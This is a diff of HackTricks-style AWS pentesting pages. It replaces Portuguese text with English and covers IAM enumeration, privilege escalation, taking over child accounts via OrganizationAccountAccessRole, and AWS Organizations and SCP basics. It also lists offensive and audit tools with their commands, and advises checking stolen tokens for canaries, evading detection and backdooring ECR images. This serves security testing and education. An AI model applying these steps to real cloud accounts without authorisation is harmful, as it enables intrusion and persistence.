> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
|
||||
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Org Enumeration
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumeração de IAM
|
||||
### IAM Enumeration
|
||||
|
||||
Se você tiver permissões suficientes, **verificar os privilégios de cada entidade dentro da conta AWS** ajudará você a entender o que você e outras identidades podem fazer e como **escalar privilégios**.
|
||||
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
|
||||
Se você não tiver permissões suficientes para enumerar IAM, você pode **roubar e forçar** para descobri-los.\
|
||||
Verifique **como fazer a numeração e o brute-forcing** em:
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Agora que você **tem algumas informações sobre suas credenciais** (e se você é um red team, espero que você **não tenha sido detectado**). É hora de descobrir quais serviços estão sendo usados no ambiente.\
|
||||
> Na seção a seguir, você pode verificar algumas maneiras de **enumerar alguns serviços comuns.**
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
|
||||
## Enumeração de Serviços, Pós-Exploração & Persistência
|
||||
## Services Enumeration, Post-Exploitation & Persistence
|
||||
|
||||
A AWS tem uma quantidade impressionante de serviços, na página a seguir você encontrará **informações básicas, enumeração** cheatsheets\*\*,\*\* como **evitar detecção**, obter **persistência** e outros truques de **pós-exploração** sobre alguns deles:
|
||||
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
Note que você **não** precisa realizar todo o trabalho **manualmente**, abaixo neste post você pode encontrar uma **seção sobre** [**ferramentas automáticas**](#automated-tools).
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automated-tools).
|
||||
|
||||
Além disso, nesta fase você pode ter descoberto **mais serviços expostos a usuários não autenticados**, você pode ser capaz de explorá-los:
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
## Escalação de Privilégios
|
||||
## Privilege Escalation
|
||||
|
||||
Se você pode **verificar pelo menos suas próprias permissões** sobre diferentes recursos, você poderia **verificar se é capaz de obter mais permissões**. Você deve se concentrar pelo menos nas permissões indicadas em:
|
||||
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
|
||||
|
||||
{{#ref}}
|
||||
aws-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
## Serviços Expostos Publicamente
|
||||
## Publicly Exposed Services
|
||||
|
||||
Enquanto enumerava os serviços da AWS, você pode ter encontrado alguns deles **expondo elementos à Internet** (portas de VM/Containers, bancos de dados ou serviços de fila, snapshots ou buckets...).\
|
||||
Como pentester/red teamer, você deve sempre verificar se pode encontrar **informações sensíveis / vulnerabilidades** neles, pois podem fornecer a você **mais acesso à conta AWS**.
|
||||
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
|
||||
Neste livro, você deve encontrar **informações** sobre como encontrar **serviços AWS expostos e como verificá-los**. Sobre como encontrar **vulnerabilidades em serviços de rede expostos**, eu recomendaria que você **pesquisasse** pelo **serviço** específico em:
|
||||
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/
|
||||
{{#endref}}
|
||||
|
||||
## Comprometendo a Organização
|
||||
## Compromising the Organization
|
||||
|
||||
### Da conta root/gestão
|
||||
### From the root/management account
|
||||
|
||||
Quando a conta de gestão cria novas contas na organização, um **novo papel** é criado na nova conta, por padrão nomeado **`OrganizationAccountAccessRole`** e dando a política **AdministratorAccess** à **conta de gestão** para acessar a nova conta.
|
||||
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Portanto, para acessar como administrador uma conta filha, você precisa:
|
||||
So, in order to access as administrator a child account you need:
|
||||
|
||||
- **Comprometer** a conta de **gestão** e encontrar o **ID** das **contas filhas** e os **nomes** do **papel** (OrganizationAccountAccessRole por padrão) permitindo que a conta de gestão acesse como admin.
|
||||
- Para encontrar contas filhas, vá para a seção de organizações no console da aws ou execute `aws organizations list-accounts`
|
||||
- Você não pode encontrar o nome dos papéis diretamente, então verifique todas as políticas IAM personalizadas e procure qualquer uma que permita **`sts:AssumeRole` sobre as contas filhas previamente descobertas**.
|
||||
- **Comprometer** um **principal** na conta de gestão com **permissão `sts:AssumeRole` sobre o papel nas contas filhas** (mesmo que a conta permita que qualquer um da conta de gestão se impersonifique, como é uma conta externa, permissões específicas de `sts:AssumeRole` são necessárias).
|
||||
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
|
||||
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
|
||||
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
|
||||
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
|
||||
|
||||
## Ferramentas Automatizadas
|
||||
## Automated Tools
|
||||
|
||||
### Recon
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Uma ferramenta de **coleta de inventário** focada em segurança da AWS, escrita em Ruby.
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
gem install aws_recon
|
||||
|
||||
# Recon and get json
|
||||
AWS_PROFILE=<profile> aws_recon \
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist é uma **ferramenta multi-cloud para obter Ativos** (Nomes de Host, Endereços IP) de Provedores de Nuvem.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper ajuda você a analisar seus ambientes da Amazon Web Services (AWS). Agora contém muito mais funcionalidades, incluindo auditoria para problemas de segurança.
|
||||
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
|
||||
|
||||
```bash
|
||||
# Installation steps in github
|
||||
# Create a config.json file with the aws info, like:
|
||||
{
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
}
|
||||
|
||||
# Enumerate
|
||||
@@ -224,7 +229,9 @@ python3 cloudmapper.py public --accounts dev
|
||||
python cloudmapper.py prepare #Prepare webserver
|
||||
python cloudmapper.py webserver #Show webserver
|
||||
```
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography é uma ferramenta Python que consolida ativos de infraestrutura e os relacionamentos entre eles em uma visualização gráfica intuitiva alimentada por um banco de dados Neo4j.
|
||||
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip install cartography
|
||||
@@ -233,15 +240,17 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura em nuvem, aplicações SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Usa python2) Esta é uma ferramenta que tenta **descobrir todos os** [**recursos da AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) criados em uma conta.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): É uma ferramenta para **buscar todos os endereços IP públicos** (tanto IPv4/IPv6) associados a uma conta da AWS.
|
||||
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubra os usuários mais privilegiados no ambiente AWS escaneado, incluindo os AWS Shadow Admins. Ele usa powershell. Você pode encontrar a **definição de políticas privilegiadas** na função **`Check-PrivilegedPolicy`** em [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu é um **framework de exploração da AWS** de código aberto, projetado para testes de segurança ofensiva contra ambientes em nuvem. Ele pode **enumerar**, encontrar **configurações incorretas** e **explorá-las**. Você pode encontrar a **definição de permissões privilegiadas** em [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro do dicionário **`user_escalation_methods`**.
|
||||
- Observe que o pacu **verifica apenas seus próprios caminhos de privesc** (não em toda a conta).
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
|
||||
- Note that pacu **only checks your own privescs paths** (not account wide).
|
||||
|
||||
```bash
|
||||
# Install
|
||||
## Feel free to use venvs
|
||||
@@ -255,7 +264,9 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): O Principal Mapper (PMapper) é um script e biblioteca para identificar riscos na configuração do AWS Identity and Access Management (IAM) para uma conta AWS ou uma organização AWS. Ele modela os diferentes Usuários e Funções IAM em uma conta como um grafo direcionado, o que permite verificações para **elevação de privilégios** e para caminhos alternativos que um atacante poderia seguir para obter acesso a um recurso ou ação na AWS. Você pode verificar as **permissões usadas para encontrar caminhos de privesc** nos arquivos que terminam em `_edges.py` em [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -277,8 +288,10 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
|
||||
pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining é uma ferramenta de Avaliação de Segurança do AWS IAM que identifica violações do princípio do menor privilégio e gera um relatório HTML priorizado por risco.\
|
||||
Ele mostrará clientes **sobreprivilegiados** potencialmente, políticas **inline** e do aws e quais **principais têm acesso a elas**. (Ele não verifica apenas privesc, mas também outros tipos de permissões interessantes, recomendado para uso).
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
|
||||
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -290,20 +303,24 @@ cloudsplaining download --profile dev
|
||||
# Analyze the IAM policies
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack avalia contas AWS em busca de **vulnerabilidades de sequestro de subdomínio** como resultado de configurações desacopladas do Route53 e CloudFront.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Listar repositórios ECR -> Puxar repositório ECR -> Inserir backdoor -> Enviar imagem com backdoor
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag é uma ferramenta que **busca** através de snapshots públicos do Elastic Block Storage (**EBS**) por segredos que podem ter sido acidentalmente deixados.
|
||||
|
||||
### Auditoria
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
|
||||
|
||||
### Audit
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit da Aqua é um projeto de código aberto projetado para permitir a detecção de **riscos de segurança em contas de infraestrutura em nuvem**, incluindo: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) e GitHub (não procura por ShadowAdmins).
|
||||
```bash
|
||||
./index.js --csv=file.csv --console=table --config ./config.js
|
||||
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler é uma ferramenta de segurança de código aberto para realizar avaliações de melhores práticas de segurança da AWS, auditorias, resposta a incidentes, monitoramento contínuo, endurecimento e prontidão forense.
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
|
||||
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -314,11 +331,15 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): O CloudFox ajuda você a obter consciência situacional em ambientes de nuvem desconhecidos. É uma ferramenta de linha de comando de código aberto criada para ajudar testadores de penetração e outros profissionais de segurança ofensiva a encontrar caminhos de ataque exploráveis na infraestrutura de nuvem.
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
|
||||
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite é uma ferramenta de auditoria de segurança multi-nuvem de código aberto, que permite a avaliação da postura de segurança de ambientes em nuvem.
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -329,16 +350,18 @@ scout --help
|
||||
# Get info
|
||||
scout aws -p dev
|
||||
```
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (usa python2.7 e parece não estar mantido)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus é uma ferramenta poderosa para as melhores práticas de hardening do AWS EC2 / S3 / CloudTrail / CloudWatch / KMS (parece não estar mantido). Ele verifica apenas as credenciais configuradas por padrão dentro do sistema.
|
||||
|
||||
### Auditoria Contínua
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian é um mecanismo de regras para gerenciar contas e recursos de nuvem pública. Ele permite que os usuários **definam políticas para habilitar uma infraestrutura de nuvem bem gerenciada**, que seja segura e otimizada em custos. Ele consolida muitos dos scripts ad hoc que as organizações têm em uma ferramenta leve e flexível, com métricas e relatórios unificados.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** é uma plataforma para **monitoramento contínuo de conformidade, relatórios de conformidade e automação de segurança para a nuvem**. No PacBot, políticas de segurança e conformidade são implementadas como código. Todos os recursos descobertos pelo PacBot são avaliados em relação a essas políticas para medir a conformidade com as políticas. A estrutura de **auto-fix** do PacBot fornece a capacidade de responder automaticamente a violações de políticas, tomando ações predefinidas.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert é uma estrutura de análise de dados **em tempo real** sem servidor que permite que você **ingeste, analise e envie alertas** sobre dados de qualquer ambiente, **usando fontes de dados e lógica de alerta que você define**. Equipes de segurança da informação usam o StreamAlert para escanear terabytes de dados de log todos os dias para detecção e resposta a incidentes.
|
||||
### Constant Audit
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
|
||||
|
||||
## DEBUG: Capture AWS cli requests
|
||||
|
||||
## DEBUG: Capturar solicitações do AWS cli
|
||||
```bash
|
||||
# Set proxy
|
||||
export HTTP_PROXY=http://localhost:8080
|
||||
@@ -357,9 +380,14 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
|
||||
# Run aws cli normally trusting burp cert
|
||||
aws ...
|
||||
```
|
||||
## Referências
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
|
||||
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,333 +1,351 @@
|
||||
# AWS - Informações Básicas
|
||||
# AWS - Basic Information
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Hierarquia da Organização
|
||||
## Organization Hierarchy
|
||||
|
||||
.png>)
|
||||
|
||||
### Contas
|
||||
### Accounts
|
||||
|
||||
No AWS, existe uma **conta root**, que é o **container pai para todas as contas** da sua **organização**. No entanto, você não precisa usar essa conta para implantar recursos, pode criar **outras contas para separar diferentes infraestruturas AWS** entre elas.
|
||||
In AWS, there is a **root account**, which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
|
||||
|
||||
Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem especificamente criadas), assim você pode criar limites entre implantações.
|
||||
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
|
||||
|
||||
Portanto, existem **dois tipos de contas em uma organização** (estamos falando de contas AWS e não de contas de usuário): uma única conta designada como a conta de gerenciamento e uma ou mais contas membros.
|
||||
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
|
||||
|
||||
- A **conta de gerenciamento (a conta root)** é a conta que você usa para criar a organização. A partir da conta de gerenciamento da organização, você pode fazer o seguinte:
|
||||
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
|
||||
|
||||
- Criar contas na organização
|
||||
- Convidar outras contas existentes para a organização
|
||||
- Remover contas da organização
|
||||
- Gerenciar convites
|
||||
- Aplicar políticas a entidades (roots, OUs ou contas) dentro da organização
|
||||
- Habilitar integração com serviços AWS suportados para fornecer funcionalidade de serviço em todas as contas da organização.
|
||||
- É possível fazer login como usuário root usando o e-mail e a senha usados para criar esta conta/organização root.
|
||||
- Create accounts in the organization
|
||||
- Invite other existing accounts to the organization
|
||||
- Remove accounts from the organization
|
||||
- Manage invitations
|
||||
- Apply policies to entities (roots, OUs, or accounts) within the organization
|
||||
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
|
||||
- It's possible to login as the root user using the email and password used to create this root account/organization.
|
||||
|
||||
A conta de gerenciamento tem as **responsabilidades de uma conta pagadora** e é responsável por pagar todas as cobranças acumuladas pelas contas membros. Você não pode mudar a conta de gerenciamento de uma organização.
|
||||
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
|
||||
|
||||
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
|
||||
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
|
||||
|
||||
- As **contas membros** compõem todas as outras contas em uma organização. Uma conta pode ser membro de apenas uma organização por vez. Você pode anexar uma política a uma conta para aplicar controles apenas a essa conta.
|
||||
- As contas membros **devem usar um endereço de e-mail válido** e podem ter um **nome**, em geral não poderão gerenciar a cobrança (mas podem receber acesso a ela).
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
```
|
||||
### **Unidades Organizacionais**
|
||||
|
||||
Contas podem ser agrupadas em **Unidades Organizacionais (OU)**. Dessa forma, você pode criar **políticas** para a Unidade Organizacional que serão **aplicadas a todas as contas filhas**. Observe que uma OU pode ter outras OUs como filhas.
|
||||
### **Organization Units**
|
||||
|
||||
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
|
||||
|
||||
```bash
|
||||
# You can get the root id from aws organizations list-roots
|
||||
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
Uma **service control policy (SCP)** é uma política que especifica os serviços e ações que usuários e funções podem usar nas contas que a SCP afeta. SCPs são **semelhantes às políticas de permissões do IAM**, exceto que **não concedem permissões**. Em vez disso, as SCPs especificam as **permissões máximas** para uma organização, unidade organizacional (OU) ou conta. Quando você anexa uma SCP à raiz da sua organização ou a uma OU, a **SCP limita as permissões para entidades em contas membros**.
|
||||
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
|
||||
|
||||
Esta é a ÚNICA maneira que **até mesmo o usuário root pode ser impedido** de fazer algo. Por exemplo, pode ser usada para impedir que usuários desativem o CloudTrail ou excluam backups.\
|
||||
A única maneira de contornar isso é comprometer também a **conta master** que configura as SCPs (a conta master não pode ser bloqueada).
|
||||
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
|
||||
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
|
||||
|
||||
> [!WARNING]
|
||||
> Observe que **as SCPs apenas restringem os principais na conta**, portanto, outras contas não são afetadas. Isso significa que ter uma SCP negando `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** em sua conta.
|
||||
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
|
||||
|
||||
Exemplos de SCP:
|
||||
SCP examples:
|
||||
|
||||
- Negar completamente a conta root
|
||||
- Permitir apenas regiões específicas
|
||||
- Permitir apenas serviços na lista branca
|
||||
- Negar que o GuardDuty, CloudTrail e o Acesso Público do S3 sejam desativados
|
||||
- Negar que funções de segurança/resposta a incidentes sejam excluídas ou modificadas.
|
||||
- Negar que backups sejam excluídos.
|
||||
- Negar a criação de usuários IAM e chaves de acesso
|
||||
- Deny the root account entirely
|
||||
- Only allow specific regions
|
||||
- Only allow white-listed services
|
||||
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
|
||||
|
||||
Encontre **exemplos JSON** em [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
being disabled
|
||||
|
||||
- Deny security/incident response roles from being deleted or
|
||||
|
||||
modified.
|
||||
|
||||
- Deny backups from being deleted.
|
||||
- Deny creating IAM users and access keys
|
||||
|
||||
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
|
||||
### Resource Control Policy (RCP)
|
||||
|
||||
